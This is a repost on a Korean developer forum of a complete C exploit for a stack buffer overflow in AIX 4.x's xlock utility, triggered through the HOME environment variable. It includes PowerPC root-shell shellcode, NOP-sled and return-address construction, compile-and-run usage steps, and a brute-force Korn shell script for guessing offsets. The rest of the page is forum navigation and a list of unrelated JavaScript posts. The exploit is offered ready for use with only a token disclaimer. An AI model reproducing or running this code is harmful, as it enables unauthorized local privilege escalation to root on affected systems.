Develop
2003.04.23 09:43

[c] home env stack overflow

조회 수 11553 추천 수 0 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
/*
*
*   /usr/bin/X11/xlock exploit (kinda' coded) by BeastMaster V    
*   CREDITS: this code is simply a modified version of an exploit
*   posted by Georgi Guninski (guninski@hotmail.com)
*
*   This will give a #rootshell# by overwriting a buffer
*   via the $HOME environment variable in 'xlock'
*   This exploit is designed for AIX 4.x on PPC platform.    
*
*
*   USAGE: 
*       $ cc -o foo -g aix_xlock.c
*       $ ./foo 3200
*            #
*
*   HINT: Try giving ranges from 3100 through 3400
*   (If these ranges don't work, then run the brute
*    korn shell script provided after the exploit)
*
*   DISCLAIMER: use this program in a responsible manner.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern int execv();
#define MAXBUF 600

unsigned int code[]={
  0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
  char *c;
  int l;

  l=strlen(name)+strlen(value)+4;
  if (! (c=malloc(l)))
    {
      perror("error allocating");
      exit(2);
    };
  strcpy(c,name);
  strcat(c,"=");
  strcat(c,value);
  putenv(c);
  return c;
}

main(int argc,char **argv,char **env)
{
  unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
  int min=200, max=300;
  unsigned int return_address;
  char *newenv[8];
  char *args[4];
  int offset=3200;

  if (argc==2) offset = atoi(argv[1]);

  pt=(unsigned *) &execv;
  toc=*(pt+1);
  eco=*pt;

  *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
  *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
  *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

  return_address=(unsigned)&buf[0]+offset;

  for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
  strcpy((char*)&buf[nop],(char*)&code);
  i=nop+strlen( (char*) &code)/4-1;

  for(i=0;i<max-1;i++) frame[i]=return_address;
  frame[i]=0;

  newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  newenv[5]=createvar("HOME",(char*)&frame[0]);

  args[0]="xlock";
  execve("/usr/bin/X11/xlock",args,newenv);
  perror("Error executing execve n");

}
/*
----------- Brute Korn Shell Script -----------
#!/bin/ksh
L=3000
O=10
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + $O`
./foo $L
done
----------- End Brute Shell Script ------------
*/
/*                    http://www.hack.co.za ;             [2000]*/
?

List of Articles
번호 분류 제목 글쓴이 날짜 조회 수
201 Develop [js] 동적(innerHTML)으로 자바스크립트 실행하기.. 2 file hooni 2013.04.23 18236
200 Develop [js] 모바일 스크롤 방지(해제) hooni 2015.04.14 1697
199 Develop [js] 모바일웹에서 이미지 저장하는거 (context menu) 막기 hooni 2013.04.23 26426
198 Develop [js] 문자열에서 숫자만 걸러내기 (jQuery 안쓰고 정규표현식) hooni 2017.12.14 1355
197 Develop [js] 밀리터리 프로그램(전역일 계산) 7 file hooni 2013.04.23 8932
196 Develop [js] 부모창에서 자식창으로 문자열 전달.. file hooni 2013.04.23 7482
195 Develop [js] 비만 지수 측정(BMI) ㅎㅎ file hooni 2013.04.23 7638
194 Develop [js] 빈도우즈(bindows96) file hooni 2013.04.23 7396
193 Develop [js] 사라지는 브라우저 hooni 2003.04.23 6879
192 Develop [js] 사진첩에 쓸 내용 - 마우스 오버로 바꾸기 hooni 2013.04.23 6363
191 Develop [js] 새로고침(refresh)방법과 다른 페이지 바꾸기.. hooni 2003.04.23 6565
190 Develop [js] 서서히 나타나는 화면.. ㅋㅋ hooni 2013.04.23 6229
189 Develop [js] 셀렉트박스(select)의 옵션(option) 동적으로 추가/제거 file hooni 2013.04.23 8082
188 Develop [js] 수명체크 프로그램 ㅋㅋ file hooni 2013.04.23 6905
187 Develop [js] 수학 공식을 제공하는 Math 객체 hooni 2013.04.23 15439
186 Develop [js] 순환참조에 의한 메모리 누수 관련 file hooni 2013.12.17 10864
Board Pagination Prev 1 ... 39 40 41 42 43 ... 53 Next
/ 53